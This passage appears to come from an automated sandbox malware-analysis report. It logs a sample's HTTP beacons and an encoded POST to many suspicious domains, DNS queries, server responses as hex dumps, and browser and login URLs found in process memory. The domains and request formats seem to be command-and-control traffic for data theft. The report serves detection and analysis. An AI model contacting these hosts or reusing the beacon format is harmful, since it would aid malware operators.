Source: global traffic	HTTP traffic detected: GET /gqyt/?gd=NZeSp/M8BkILDmxs2B7hIlXbpVtCmEXRGifz0/tmVi2b1oVO5NeHeL2ulzOnf4Iy2ctjEvS834w05gMs6MQyiHNH7DPloLfSnGllCxy50DD/tOn/niLsxIk=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.chamadaslotgiris.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4+xNnv9lNk3zYZu+tANFIvcmMVMI5H28EY01DAN4ct7k9yl5pOX5UKp3K5dMEiwU=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.masteriocp.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /osde/?gd=RWxN1EBNqsrI97geHJKF+m1NqN4D5Qwm3eCTWsUjqsqAz5HjDo5OrFUtMmzwWkvzE1VCadoWcR1nh8rv/P1sJReZCD/pggQ9SZws5yKjtGx+wP+UoHuai7o=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.mediaplug.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /yl6y/?gd=QPKrZbNCTa4h9OiZDCqTEYRHVYq8I9pQgXRm4OHk1vP2UInoYMEgLbhzG96tdyW5WcZsMbYjLnFg+NDONb5+DVpCe+n8LSxyZkRiMUCXQdQdgo9ddvaEU2A=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.independent200.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /06rp/?gd=ziZdrN3wZJ2qpMxAfrlPkqpeB+M36+P6AeZYAnfnCDTQdjjRY74IsSepDIbPZx0tCufpSRr3CAxW0yXnKoSYcz8nolH3weaQT2LRQ2gsiM78APZpluIu/QY=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.tigre777gg.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /wwak/?gd=E3TGpDthwwVtcd68e7GptjCB6e8kOO0p076mRxbq1wlJhRxdRCVM2u01G8le2+tM+4jqrTcu85UNoN7iByxUcyNJNhtpQgsemRCiUIU53imXlsG7IfaIBm8=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.personal-loans-jp8.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vnd3/?gd=xYBn5zztkuVfiCwnPAPX5/Vc6KcZvMqR03XK+4rS3g0RcyLb68RvZiy9qVH4+ViXNRgW3ur8wHahmEpIZ6ERXhxrpvJyNz8FMq3GCQE2JNk4pLMM9VfXXZw=&a0=_6Edzvj0xtFLdH HTTP/1.1Host: www.quantumnests.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /n59g/?a0=_6Edzvj0xtFLdH&gd=5pnE2UHiCW8ObGXd+5watRyj/n5k8DcBtxaudhAi15+uyfG3JVq1h0FDH1nQvWuKz1Kon5CV4Z0icGbf56g2ndPNw6uI/UGywwOjVsQmNLB0fJ9Ua+cFGcM= HTTP/1.1Host: www.parcelfly.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.linkbasic.net
Source: global traffic	DNS traffic detected: DNS query: www.chamadaslotgiris.net
Source: global traffic	DNS traffic detected: DNS query: www.masteriocp.online
Source: global traffic	DNS traffic detected: DNS query: www.mediaplug.biz
Source: global traffic	DNS traffic detected: DNS query: www.independent200.org
Source: global traffic	DNS traffic detected: DNS query: www.tigre777gg.online
Source: global traffic	DNS traffic detected: DNS query: www.monos.shop
Source: global traffic	DNS traffic detected: DNS query: www.personal-loans-jp8.xyz
Source: global traffic	DNS traffic detected: DNS query: www.quantumnests.xyz
Source: global traffic	DNS traffic detected: DNS query: www.abbabyfernando.online
Source: global traffic	DNS traffic detected: DNS query: www.parcelfly.net
Source: global traffic	DNS traffic detected: DNS query: www.siyue.xyz

Source: unknown

HTTP traffic detected: POST /p5rq/ HTTP/1.1Host: www.masteriocp.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-USConnection: closeContent-Length: 199Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheOrigin: http://www.masteriocp.onlineReferer: http://www.masteriocp.online/p5rq/User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36Data Raw: 67 64 3d 63 77 46 53 49 69 43 6d 4f 47 62 4e 56 41 32 6d 6d 78 6d 61 55 48 49 78 68 4c 70 74 77 55 35 72 38 72 79 6f 48 6b 79 76 70 7a 4a 33 76 2f 41 74 77 37 43 61 6b 78 4a 79 76 41 52 65 68 4c 4a 7a 7a 48 61 4d 4d 50 61 55 54 66 5a 6e 78 59 4b 2f 65 65 41 32 58 6d 30 61 5a 79 46 2f 45 50 64 2b 76 38 4e 6b 6d 48 63 52 4f 41 42 32 48 4a 6d 54 68 64 42 70 74 46 53 6b 79 31 46 56 37 4a 2f 54 73 5a 72 77 54 6f 67 65 66 70 64 38 61 35 32 6e 2b 37 47 43 52 38 73 4e 7a 4d 30 56 4b 6d 6e 37 75 7a 67 70 6e 4e 70 74 51 59 2b 33 76 79 50 2b 33 77 41 68 36 44 78 45 70 6d 5a 61 69 36 2b 53 6f 67 3d 3d Data Ascii: gd=cwFSIiCmOGbNVA2mmxmaUHIxhLptwU5r8ryoHkyvpzJ3v/Atw7CakxJyvARehLJzzHaMMPaUTfZnxYK/eeA2Xm0aZyF/EPd+v8NkmHcROAB2HJmThdBptFSky1FV7J/TsZrwTogefpd8a52n+7GCR8sNzM0VKmn7uzgpnNptQY+3vyP+3wAh6DxEpmZai6+Sog==

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/plain; charset=utf-8Date: Sat, 14 Sep 2024 09:11:57 GMTContent-Length: 11Connection: closeData Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/plain; charset=utf-8Date: Sat, 14 Sep 2024 09:11:59 GMTContent-Length: 11Connection: closeData Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/plain; charset=utf-8Date: Sat, 14 Sep 2024 09:12:04 GMTContent-Length: 11Connection: closeData Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 14 Sep 2024 09:12:45 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31 39 36 2e 39 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 14 Sep 2024 09:12:48 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31 39 36 2e 39 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 14 Sep 2024 09:12:50 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31 39 36 2e 39 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 14 Sep 2024 09:12:53 GMTServer: ApacheContent-Length: 18121Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 0a 20 20 3c 64 69 76 3e 0a 20 20 20 20 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 30 20 33 35 35 22 3e 0a 20 20 3c 67 20 69 64 3d 22 6f 63 65 61 6e 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 73 6b 79 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 30 68 31 30 30 30 76 32 30 33 2e 31 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 77 61 74 65 72 5f 31 5f 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 31 3d 22 35 30 30 22 20 79 31 3d 22 33 35 34 22 20 78 32 3d 22 35 30 30 22 20 79 32 3d 22 32 30 30 2e 36 36 37 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 66 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 62 33 64 63 64 66 22 2f 3e 0a 20 20 20 20 3c 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 77 61 74 65 72 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 77 61 74 65 72 5f 31 5f 29 22 20 64 3d 22 4d 30 20 32 30 30 2e 37 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 6c 61 6e 64 22 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 33 2e 34 68 31 30 30 30 56 33 35 34 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 62 75 6d 70 73 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 30 20 32 37 35 2e 32 73 38 33 2e 38 2d 32 38 20 31 38 30 2d 32 38 20 31 39 37 20 32 38 20 31 39 37 20 32 38 48 30 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 33 37 37 20 32 37 35 2e 32 73 35 34 2e 37 2d 32 38 20 31 31 37 2e 35 2d 32 38 20 31 32 38 2e 36 20 32 38 20 31 32 38 2e 36 20 32 38 48 33 37 37 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31

Source: PrWIbKXhdqUKk.exe, 00000008.00000002.3568694635.0000000004CD4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.parcelfly.net
Source: PrWIbKXhdqUKk.exe, 00000008.00000002.3568694635.0000000004CD4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.parcelfly.net/n59g/
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: netbtugc.exe, 00000006.00000002.3565934863.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: netbtugc.exe, 00000006.00000002.3565934863.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: netbtugc.exe, 00000006.00000002.3565934863.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: netbtugc.exe, 00000006.00000002.3565934863.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
